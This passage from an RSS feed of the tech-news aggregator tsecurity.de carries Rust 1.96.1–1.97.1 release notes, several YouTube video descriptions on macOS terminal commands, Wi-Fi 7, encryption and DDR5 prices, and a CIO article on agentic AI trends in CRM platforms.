<guid isPermaLink="true">https://tsecurity.de/de/3693287/tools/the-rust-programming-language-blog-announcing-rust-1961/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:22 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Rust team has published a new point release of Rust, 1.96.1. Rust is a programming language that is empowering everyone to build reliable and efficient software.</p>
<p>If you have a previous version of Rust installed via rustup, getting Rust 1.96.1 is as easy as:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>rustup update stable</span></span></code></pre>
<p>If you don't have it already, you can <a href="https://www.rust-lang.org/install.html" rel="external">get <code>rustup</code></a> from the appropriate page on our website.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/30/Rust-1.96.1/#what-s-in-1-96-1"></a>
What's in 1.96.1</h3>
<p>Rust 1.96.1 fixes:</p>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17131" rel="external">Missing retries / timeouts in Cargo's HTTP client</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158214" rel="external">Miscompilation in a MIR optimization</a></li>
</ul>
<p>It also <a href="https://github.com/rust-lang/cargo/pull/17140" rel="external">fixes</a> three CVEs
affecting libssh2 (which is compiled into Cargo):</p>
<ul>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2025-15661" rel="external">CVE-2025-15661</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-55199" rel="external">CVE-2026-55199</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-55200" rel="external">CVE-2026-55200</a></li>
</ul>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/30/Rust-1.96.1/#contributors-to-1-96-1"></a>
Contributors to 1.96.1</h4>
<p>Many people came together to create Rust 1.96.1. We couldn't have done it without all of you. <a href="https://thanks.rust-lang.org/rust/1.96.1/" rel="external">Thanks!</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: Announcing Rust 1.97.0]]></title>
<description><![CDATA[The Rust team is happy to announce a new version of Rust, 1.97.0. Rust is a programming language empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, you can get 1.97.0 with:
$ rustup update stable
If you don't have it already,...]]></description>
<link>https://tsecurity.de/de/3693286/tools/the-rust-programming-language-blog-announcing-rust-1970/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693286/tools/the-rust-programming-language-blog-announcing-rust-1970/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:20 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Rust team is happy to announce a new version of Rust, 1.97.0. Rust is a programming language empowering everyone to build reliable and efficient software.</p>
<p>If you have a previous version of Rust installed via <code>rustup</code>, you can get 1.97.0 with:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>$</span><span> rustup update stable</span></span></code></pre>
<p>If you don't have it already, you can get <a href="https://www.rust-lang.org/install.html" rel="external"><code>rustup</code></a> from the appropriate page on our website, and check out the <a href="https://doc.rust-lang.org/stable/releases.html#version-1970-2026-07-09" rel="external">detailed release notes for 1.97.0</a>.</p>
<p>If you'd like to help us out by testing future releases, you might consider updating locally to use the beta channel (<code>rustup default beta</code>) or the nightly channel (<code>rustup default nightly</code>). Please <a href="https://github.com/rust-lang/rust/issues/new/choose" rel="external">report</a> any bugs you might come across!</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#what-s-in-1-97-0-stable"></a>
What's in 1.97.0 stable</h3>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#symbol-mangling-v0-enabled-by-default"></a>
Symbol mangling v0 enabled by default</h4>
<p>When Rust is compiled into object files and binaries, each item (functions,
statics, etc) must have a globally unique "symbol" identifying it. To avoid
conflicts when linking together different Rust programs, Rust mangles the
original name of items to include additional context such as the module path,
defining crate, generics, and more. Historically, this mangling was based on
the <a href="https://refspecs.linuxbase.org/cxxabi-1.86.html#mangling" rel="external">Itanium ABI</a>,
also (sometimes) used by C++.</p>
<p>The new mangling scheme resolves a number of drawbacks from the previous one:</p>
<ul>
<li>Generic parameter instantiations preserve their values, rather than being tracked solely behind a hash</li>
<li>Inconsistencies: not all parts used the Itanium ABI, meaning that custom demangling was still necessary</li>
</ul>
<p>Since Rust 1.59, the compiler has supported opting into a Rust-specific
mangling scheme via <code>-Csymbol-mangling-version=v0</code>. Since November 2025, this
scheme has been enabled by default on nightly, and 1.97 is now enabling it on
stable Rust. The legacy mangling scheme can only be enabled on nightly, and the
current plan is to fully remove it.</p>
<p>See the previous <a href="https://blog.rust-lang.org/2025/11/20/switching-to-v0-mangling-on-nightly/" rel="external">blog post</a> for more details.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#cargo-support-for-denying-warnings"></a>
Cargo support for denying warnings</h4>
<p>It's common practice to deny warnings in CI. Historically, doing so is
typically done through <code>RUSTFLAGS=-Dwarnings</code>. With Rust 1.97, Cargo controls
how warnings interact with build success: either silencing them (via <code>allow</code>
level), rendering without failing (default, <code>warn</code>), or denying them (via <code>deny</code>).</p>
<p>As a  result of Cargo configuration determining the behavior, using this
feature doesn't invalidate the underlying build cache, meaning that it's easy
to temporarily opt-in. For example, if warnings are adding unwanted noise while
working through fixing errors after a refactor, you can run
<code>CARGO_BUILD_WARNINGS=allow cargo check</code>, temporarily silencing them.</p>
<p>In CI, jobs can instead set <code>CARGO_BUILD_WARNINGS=deny</code> to deny warnings. This
can be combined with <code>--keep-going</code> to collect all errors and warnings rather
than stopping on the first failing package.</p>
<p>See the <a href="https://doc.rust-lang.org/cargo/reference/config.html#buildwarnings" rel="external">documentation</a> for more details.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#linker-output-no-longer-hidden-by-default"></a>
Linker output no longer hidden by default</h4>
<p>rustc invokes a linker on behalf of users. Historically, rustc has silenced
linker output by default if the link completes successfully. This can mask real
problems, though, so in Rust 1.97 we are enabling linker messages by default.
These are emitted as a warning lint, for example:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>warning: linker stderr: ignoring deprecated linker optimization setting '1'</span></span>
<span class="giallo-l"><span>  |</span></span>
<span class="giallo-l"><span>  = note: `#[warn(linker_messages)]` on by default</span></span></code></pre>
<p>Common linker messages that have been diagnosed as false positives or intentional behavior
are filtered out by rustc. Several defects have already been fixed as a result
of no longer hiding this output on nightly.</p>
<p>Note that currently, <code>linker_messages</code> is a special lint that is <em>not</em> affected
by the <code>warnings</code> lint group. This is intentional as rustc generally doesn't
control linker output as precisely, and it's not uncommon for output to only
appear on some platforms. If you are seeing what you think is a false positive
output from the linker, please <a href="https://github.com/rust-lang/rust/issues/new/choose" rel="external">file an issue</a>.</p>
<p>To silence the warning in the mean time, you can configure the lint level to
allow. This can be done through <code>Cargo.toml</code> by adding a <a href="https://doc.rust-lang.org/nightly/cargo/reference/manifest.html#the-lints-section" rel="external">lints section</a> like this:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>[</span><span>lints</span><span>.</span><span>rust</span><span>]</span></span>
<span class="giallo-l"><span class="z-variable">linker_messages</span><span> =</span><span class="z-punctuation z-definition z-string z-string"> "</span><span class="z-string z-quoted z-string">allow</span><span class="z-punctuation z-definition z-string z-string">"</span></span></code></pre><h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#stabilized-apis"></a>
Stabilized APIs</h4>
<ul>
<li><a href="https://doc.rust-lang.org/stable/std/iter/struct.RepeatN.html#impl-Default-for-RepeatN%3CA%3E" rel="external"><code>Default for RepeatN</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/ffi/struct.FromBytesUntilNulError.html#impl-Copy-for-FromBytesUntilNulError" rel="external"><code>Copy for ffi::FromBytesUntilNulError</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/154003" rel="external"><code>Send for std::fs::File</code> on UEFI</a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.isolate_highest_one" rel="external"><code>&lt;{integer}&gt;::isolate_highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.isolate_lowest_one" rel="external"><code>&lt;{integer}&gt;::isolate_lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.highest_one" rel="external"><code>&lt;{integer}&gt;::highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.lowest_one" rel="external"><code>&lt;{integer}&gt;::lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.bit_width" rel="external"><code>&lt;{uN}&gt;::bit_width</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.isolate_highest_one" rel="external"><code>NonZero&lt;{integer}&gt;::isolate_highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.isolate_lowest_one" rel="external"><code>NonZero&lt;{integer}&gt;::isolate_lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.highest_one" rel="external"><code>NonZero&lt;{integer}&gt;::highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.lowest_one" rel="external"><code>NonZero&lt;{integer}&gt;::lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.bit_width" rel="external"><code>NonZero&lt;{uN}&gt;::bit_width</code></a></li>
</ul>
<p>These previously stable APIs are now stable in const contexts:</p>
<ul>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.char.html#method.is_control" rel="external"><code>char::is_control</code></a></li>
</ul>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#other-changes"></a>
Other changes</h4>
<p>Check out everything that changed in <a href="https://github.com/rust-lang/rust/releases/tag/1.97.0" rel="external">Rust</a>, <a href="https://doc.rust-lang.org/nightly/cargo/CHANGELOG.html#cargo-197-2026-07-09" rel="external">Cargo</a>, and <a href="https://github.com/rust-lang/rust-clippy/blob/master/CHANGELOG.md#rust-197" rel="external">Clippy</a>.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#contributors-to-1-97-0"></a>
Contributors to 1.97.0</h3>
<p>Many people came together to create Rust 1.97.0. We couldn't have done it without all of you. <a href="https://thanks.rust-lang.org/rust/1.97.0/" rel="external">Thanks!</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: Announcing Rust 1.97.1]]></title>
<description><![CDATA[The Rust team has published a new point release of Rust, 1.97.1. Rust is a programming language that is empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, getting Rust 1.97.1 is as easy as:
rustup update stable
If you don't h...]]></description>
<link>https://tsecurity.de/de/3693284/tools/the-rust-programming-language-blog-announcing-rust-1971/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693284/tools/the-rust-programming-language-blog-announcing-rust-1971/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:17 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Rust team has published a new point release of Rust, 1.97.1. Rust is a programming language that is empowering everyone to build reliable and efficient software.</p>
<p>If you have a previous version of Rust installed via rustup, getting Rust 1.97.1 is as easy as:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>rustup update stable</span></span></code></pre>
<p>If you don't have it already, you can <a href="https://www.rust-lang.org/install.html" rel="external">get <code>rustup</code></a> from the appropriate page on our website.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/#what-s-in-1-97-1"></a>
What's in 1.97.1</h3>
<p>Rust 1.97.1 fixes a <a href="https://github.com/rust-lang/rust/issues/159035" rel="external">miscompilation in an LLVM optimization</a>.</p>
<p>We have backported both an LLVM fix and a disable of the underlying change in Rust 1.97.0 of
Rust's generated IR that increased the likelihood of this happening. However,
note that the underlying miscompilation has been present since at least Rust
1.87.</p>
<p>If you'd like to help us out by testing future releases, you might consider
running your code's CI or locally using the beta channel (<code>rustup default beta</code>) or the nightly
channel (<code>rustup default nightly</code>). Please
<a href="https://github.com/rust-lang/rust/issues/new/choose" rel="external">report</a> any bugs you
might come across!</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/#contributors-to-1-97-1"></a>
Contributors to 1.97.1</h4>
<p>Many people came together to create Rust 1.97.1. We couldn't have done it without all of you. <a href="https://thanks.rust-lang.org/rust/1.97.1/" rel="external">Thanks!</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[50 macOS Tips and Tricks Using Terminal (the last one is CRAZY!)]]></title>
<description><![CDATA[Author: NetworkChuck - Bewertung: 31462x - Views:990975 I know your password. Change it with Dashlane: https://www.dashlane.com/networkchuck50 (Use code networkchuck50 to get 50% off) 

In this video, NetworkChuck shows you the top 50 MacOS terminal commands you NEED to know. Now, while Mac OS is...]]></description>
<link>https://tsecurity.de/de/3693272/videos/50-macos-tips-and-tricks-using-terminal-the-last-one-is-crazy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693272/videos/50-macos-tips-and-tricks-using-terminal-the-last-one-is-crazy/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:50 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: NetworkChuck - Bewertung: 31462x - Views:990975 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/qOrlYzqXPa8?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>I know your password. Change it with Dashlane: https://www.dashlane.com/networkchuck50 (Use code networkchuck50 to get 50% off) <br />
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In this video, NetworkChuck shows you the top 50 MacOS terminal commands you NEED to know. Now, while Mac OS is unix-based and very similar to Linux, it has its nuances and things worth paying attention to. Things like, making your Macbook talk, finding wifi passwords, diving into the matrix and taking a trip to the aquarium, all from your terminal. <br />
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0:00   ⏩  Intro<br />
0:12   ⏩  say<br />
0:23   ⏩  security find-generic-password -wa Wifi<br />
0:40   ⏩  pbcopy<br />
0:54   ⏩  command + option + shift + v<br />
1:08   ⏩  caffeinate<br />
1:20   ⏩  command + shift + 3<br />
1:53   ⏩  defaults write com.apple.screencapture name<br />
 2:10  ⏩  defaults write com.apple.screencapture type<br />
 2:19  ⏩  default write com.apple.screencapture location ~/Desktop/screenshots<br />
2:40   ⏩  passwd<br />
4:11   ⏩  cd<br />
4:17   ⏩  ls<br />
4:20   ⏩  pwd<br />
4:26   ⏩  whoami<br />
4:32   ⏩  mv<br />
4:36   ⏩  cp<br />
4:41   ⏩  ditto<br />
4:48   ⏩  df -h<br />
4:51   ⏩  nano<br />
5:00   ⏩  man<br />
5:09   ⏩  open<br />
5:18   ⏩  ping<br />
5:25   ⏩  ifconfig<br />
5:36   ⏩  grep<br />
5:43   ⏩  awk<br />
5:53   ⏩  traceroute<br />
6:04   ⏩  dig<br />
6:12   ⏩  ps<br />
6:21   ⏩  top<br />
6:31   ⏩  kill<br />
6:47   ⏩  which $SHELL<br />
6:56   ⏩  bash<br />
7:00   ⏩  zsh<br />
7:05   ⏩  uptime<br />
7:10   ⏩  killall mDNSResponder….and more<br />
7:15   ⏩  qlmanage<br />
7:22   ⏩  diff<br />
7:27   ⏩  curl<br />
7:42   ⏩  leave<br />
7:54   ⏩  history<br />
7:59   ⏩  disable gatekeeper<br />
8:20   ⏩  brew<br />
8:46   ⏩  cmatrix<br />
9:02   ⏩  asciiquarium<br />
9:13   ⏩  toilet<br />
9:31   ⏩  tetris<br />
9:48   ⏩  python3<br />
10:18 ⏩  shutdown<br />
10:33 ⏩  sudo touch id<br />
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#MacOS #Terminal #brew<br/></p>]]></content:encoded>
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<title><![CDATA[How Wi-Fi 7 is being held back by MLO]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 6022x - Views:127629 Get a free 15-day trial of Odoo’s all-in-one business solution and see how it can make your life easier! Check it out at https://www.odoo.com/r/IXfS

Wi-Fi 7 has some awesome features, at least theoretically. However, MLO one of the most impre...]]></description>
<link>https://tsecurity.de/de/3693267/videos/how-wi-fi-7-is-being-held-back-by-mlo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693267/videos/how-wi-fi-7-is-being-held-back-by-mlo/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:43 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 6022x - Views:127629 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/oMUaZsvJQVQ?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Get a free 15-day trial of Odoo’s all-in-one business solution and see how it can make your life easier! Check it out at https://www.odoo.com/r/IXfS<br />
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Wi-Fi 7 has some awesome features, at least theoretically. However, MLO one of the most impressive features is still not widely available, let&#039;s try and find out why. <br />
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<title><![CDATA[The Problem With End-to-End Encryption]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 6635x - Views:137446 Thanks to our sponsor Bitdefender! Try their powerful Scam Protection free for 90 days: https://bitdefend.me/90Linus

Apps like Signal, WhatsApp, and iMessage promise nobody can read your messages. Mostly true - but in 2026, encrypted chat has...]]></description>
<link>https://tsecurity.de/de/3693251/videos/the-problem-with-end-to-end-encryption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693251/videos/the-problem-with-end-to-end-encryption/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:20 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 6635x - Views:137446 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/qUVsX49fNFw?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Thanks to our sponsor Bitdefender! Try their powerful Scam Protection free for 90 days: https://bitdefend.me/90Linus<br />
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Apps like Signal, WhatsApp, and iMessage promise nobody can read your messages. Mostly true - but in 2026, encrypted chat has three gaps you can&#039;t ignore, and the biggest one might already be sitting on your own computer. We sat down with David Wiseman, BlackBerry&#039;s VP of Secure Communications, to find out what end-to-end encryption actually protects, what it doesn&#039;t, and how attackers are walking around it without breaking a single line of code.<br />
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Timestamps:<br />
0:00 How Encrypted Chats Work<br />
1:45 Signal, WhatsApp, iMessage, and Telegram<br />
2:19 Sponsor<br />
2:57 Metadata Still Leaks<br />
4:02 Phishing, Linked Devices, and Recall<br />
5:17 How to Protect Yourself<br />
5:38 Credits<br/></p>]]></content:encoded>
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<title><![CDATA[This Chinese Company Destroyed The DDR5 RAM Prices Over Night - $500 to $50!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 782x - Views:17162 RAM prices have exploded over the past two years, but a little-known Chinese company may finally be changing that. While Samsung, SK hynix, and Micron shifted their factories toward high-profit AI memory, everyday DDR5 RAM became harder to find ...]]></description>
<link>https://tsecurity.de/de/3693214/videos/this-chinese-company-destroyed-the-ddr5-ram-prices-over-night-500-to-50/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693214/videos/this-chinese-company-destroyed-the-ddr5-ram-prices-over-night-500-to-50/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:27 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 782x - Views:17162 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/qa3XB_EaMUo?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>RAM prices have exploded over the past two years, but a little-known Chinese company may finally be changing that. While Samsung, SK hynix, and Micron shifted their factories toward high-profit AI memory, everyday DDR5 RAM became harder to find and dramatically more expensive. Now, China&#039;s CXMT is stepping in with a massive expansion of DDR5 production, potentially bringing competition back to one of the world&#039;s most concentrated semiconductor markets. In this video, we break down why RAM prices skyrocketed, how AI created the global memory shortage, CXMT&#039;s rapid rise, its new DDR5 and LPDDR5X lineup, the company&#039;s record-breaking IPO, HBM ambitions, and whether this could finally make PC memory affordable again.<br />
<br />
Could CXMT become the fourth memory giant—and finally end the RAM shortage?<br />
<br />
#CXMT #DDR5 #RAM #Semiconductors #AI #China #Technology #PC<br/></p>]]></content:encoded>
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<title><![CDATA[7 CRM trends for 2026: AI brings decisive action to customer workflows]]></title>
<description><![CDATA[Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of customer relationship management (CRM), the platform that manages sales, marketing, and customer service.



“Last year, everybo...]]></description>
<link>https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</guid>
<pubDate>Sat, 25 Jul 2026 06:53:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of <a href="https://www.cio.com/article/272365/what-is-crm-software-for-managing-customer-data.html">customer relationship management (CRM)</a>, the platform that manages sales, marketing, and customer service.</p>



<p class="wp-block-paragraph">“Last year, everybody was dipping their toes into the water,” says <a href="https://futurumgroup.com/keith-kirkpatrick/">Keith Kirkpatrick</a>, research director at The Futurum Group. This year, agentic AI has built momentum from the boardroom down, with companies recognizing that having an AI strategy is imperative. “They feel like if they don’t embrace it now, their competitors will.”</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/global/en/about/people/profiles.gx-harry-datwani+f20748dc.html">Harry Datwani</a>, a principal at Deloitte Digital, adds that enterprise CRM customers have transitioned from “proof of concept” to “scale and execution.”</p>



<p class="wp-block-paragraph">“Across sales, service, marketing, even in the commerce space, enterprises are really using AI and agentic,” he says.</p>



<p class="wp-block-paragraph">“CRM in 2026 is undergoing a structural shift, not just an incremental evolution,” says Forrester analyst <a href="https://www.forrester.com/analyst-bio/kate-leggett/BIO2629">Kate Leggett</a>, noting that AI is becoming a core part of CRM infrastructure, not just a feature or an add-on. According to Forrester data, around 70% of companies are already using AI in their CRM systems, she says.</p>



<p class="wp-block-paragraph">Here are the hot AI-driven trends in CRM this year.</p>



<h2 class="wp-block-heading">CRM becomes an action hero</h2>



<p class="wp-block-paragraph">CRM platforms have traditionally served as passive, static systems of record. Now, agentic AI is transforming CRM into a powerful, real-time solution that can act autonomously.</p>



<p class="wp-block-paragraph">“Organizations that rethink CRM as a real-time, AI-powered system of action — and embrace agentic AI to handle complex, unpredictable work — are better positioned to deliver exceptional customer experiences,” says IDC analyst <a href="https://my.idc.com/getdoc.jsp?containerId=PRF005191">Neil Ward-Dutton</a>. “This approach not only enhances satisfaction and loyalty but also drives operational efficiency and business agility.”</p>



<p class="wp-block-paragraph">Forrester’s Leggett says that AI-powered CRM platforms have advanced from simple data capture to real-time decision-making and execution. Standard capabilities include next-best action recommendations, call summaries, automated updates, generated emails, knowledge creation, predictive forecasting, and deal scoring.</p>



<p class="wp-block-paragraph">She adds that AI agents can now execute workflows, such as routing cases, sending follow-ups, and updating records (with human oversight). They can also handle end-to-end service and sales tasks autonomously, including case resolutions and sales development activities.</p>



<h2 class="wp-block-heading">Agentic drives workforce changes</h2>



<p class="wp-block-paragraph">AI use in CRM systems is also impacting workforce strategies.</p>



<p class="wp-block-paragraph">“We used to hire for deep expertise,” says Constellation Research analyst <a href="https://www.constellationr.com/user/liz-miller">Liz Miller</a>. “AI has commoditized expertise because I can take all that data from my CRM and train my AI models to go deep, to know everything about any product I’ve ever sold, from what has worked, what hasn’t, every price, every sale.”</p>



<p class="wp-block-paragraph">Now, instead of hiring candidates with deep expertise, organizations are looking for candidates who can go wide. “I can train a model to have deep expertise. What I can’t train for is experience, because experience is what happens when a person has gone broad across a lot of different scenarios and faced complexity across that broad scenario,” says Miller.</p>



<p class="wp-block-paragraph">For example, AI systems can automate many aspects of marketing, Miller notes, but there’s no substitute for creativity: people who can interrogate the data and come up with innovative marketing campaigns that connect with customers.</p>



<p class="wp-block-paragraph"><a href="https://www.servicenow.com/workflow/author/terence-chesire.html">Terence Chesire</a>, group vice president of ServiceNow CRM and industry workflows, says that organizations are using agentic AI to free up team members from repetitive, lower-value activities. Those employees have now moved to higher-level roles “where they’re working on transformational deals rather than just building a spreadsheet.”</p>



<p class="wp-block-paragraph">“That’s what we’re seeing as super-exciting as organizations not just free up people, but the speed and effort reduction and the friction reduction in what they can do,” he adds.</p>



<h2 class="wp-block-heading">Data layer takes center stage</h2>



<p class="wp-block-paragraph">AI’s promise to deliver actionable customer and marketing intelligence has placed even greater emphasis on the importance on sound data management practices for CRM.</p>



<p class="wp-block-paragraph">“The light bulb has flashed on very brightly for our clients,” says Deloitte’s Datwani. “Everyone is talking about AI agents, but your ability to really extract value is inextricably linked to the quality of your data and the ability to make that data accessible. What we’re finding is that despite large investments over time our clients still have fragmented data. And so, they are data rich and insight poor.”</p>



<p class="wp-block-paragraph">The good news, says Datwani, is that AI agents themselves can <a href="https://www.cio.com/article/2140371/gen-ai-can-be-the-answer-to-your-data-problems-but-not-all-of-them.html">help clean up and organize data</a>. And vendors such as <a href="https://www.cio.com/article/4030966/snowflake-and-databricks-vie-for-the-heart-of-enterprise-ai.html">Snowflake and Databricks</a>, along with the traditional CRM powerhouses, are offering powerful data analytics solutions. “Everyone is battling for that data layer,” Datwani says.</p>



<p class="wp-block-paragraph">Forrester’s Leggett adds that CRM platforms are converging with <a href="https://www.cio.com/article/308839/top-8-customer-data-platforms.html">customer data platforms (CDPs)</a>, real-time event streams, and external data sources to create connected customer data networks. These real-time, connected data models can help organizations deliver hyper-personalization at scale.</p>



<h2 class="wp-block-heading">Agentic ushers in pricing complexity</h2>



<p class="wp-block-paragraph">The shift from license- or subscription-based pricing to an <a href="https://www.cio.com/article/3624540/how-will-ai-agents-be-priced-cios-need-to-pay-attention.html">outcome or consumption pricing model</a> has the potential to help CIOs tie their CRM costs to specific business metrics, such as the number of customer service calls resolved per hour. But it has also introduced a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">new level of complexity</a> when it comes to budgeting for CRM costs.</p>



<p class="wp-block-paragraph">For example, Chesire says ServiceNow’s CRM pricing plan starts with a baseline subscription model, and on top of that, customers get a certain number of AI tokens per user and can buy additional tokens as AI usage ramps up.</p>



<p class="wp-block-paragraph">Meanwhile, Salesforce has <a href="https://www.cio.com/article/4189183/salesforce-unveils-ai-help-agent-with-pay-per-resolution-pricing.html">rolled out pay-per-resolution pricing</a> with its recently unveiled AI Help Agent and last month <a href="https://www.cio.com/article/4183667/salesforce-to-acquire-usage-based-billing-specialist-m3ter.html">acquired usage-based billing specialist m3ter</a>. Oracle is also <a href="https://www.cio.com/article/4184271/oracle-wades-into-outcome-based-ai-billing-waters.html">piloting outcome-based AI pricing</a>.</p>



<p class="wp-block-paragraph">All these approaches undercut the predictability of the subscription model, which will complicate CIOs’ cost calculus, Deloitte’s Datwani says. “Now, as you start to think about consumption and tokens, costs might look different. As folks are opening up the architecture with things like headless CRM, what will the cost model look like for API calls or MCP server calls? So, there’s many more variables,” he adds.</p>



<h2 class="wp-block-heading">The rise of multi-agent orchestration</h2>



<p class="wp-block-paragraph">To act autonomously, agents need to access multiple data sets and software platforms seamlessly. As a result, the proliferation of agents, some embedded within specific vendor platforms and some created in-house, is going to require an orchestration layer, Futurum’s Kirkpatrick says.</p>



<p class="wp-block-paragraph">He points out that organizations need to monitor and manage agents, enforcing the same type of policy-based access control that exists for people. Organizations also need to set limits on what domains a specific agent can get into, what types of data they can access, what lines can’t they cross.</p>



<p class="wp-block-paragraph">Kirkpatrick predicts that a <a href="https://www.cio.com/article/4138739/21-agent-orchestration-tools-for-managing-your-ai-fleet.html">new class of orchestration tools</a> will emerge, although it’s not clear whether that orchestration layer will be provided by the leading CRM vendors, hyperscalers, or third parties.</p>



<p class="wp-block-paragraph">Datwani agrees. “The orchestration layer is an interesting area, where the traditional vendors are in on it, the hyperscalers are also offering it, and there are third parties. It’s my belief that there’s not going to be a clear winner.”<em></em></p>



<h2 class="wp-block-heading">The interface becomes conversational</h2>



<p class="wp-block-paragraph">Enterprise users who have traditionally had to manually wrangle with CRM systems are likely to find the ability to employ voice commands using a natural language interface to be a game changer. For starters, a salesperson can say, “I have a meeting today with Customer X. Help me prepare.” The agent will collect relevant data, ingest it, and provide a summary with recommendations.</p>



<p class="wp-block-paragraph">ServiceNow’s Chesire says voice-enabled CRM systems have an “almost magical” ability to record, transcribe, and understand the content of a call between a salesperson and a customer or potential customer. The system can then “build a quote” based on that conversation.</p>



<p class="wp-block-paragraph">On the customer service side of the equation, AI-driven voice technology enables customers to speak to an AI agent, describe the problem using natural language, and get a response. The agent has the capability to, for example, solve a credit card dispute, order a replacement product, send out a service rep, or do whatever is needed to resolve the issue, says Chesire.</p>



<p class="wp-block-paragraph">Beyond that, agentic technology is capable of understanding the underlying business process flaws that led to the product snafu, and make recommendations for ways to fix whatever led to the issue in the first place, he adds.</p>
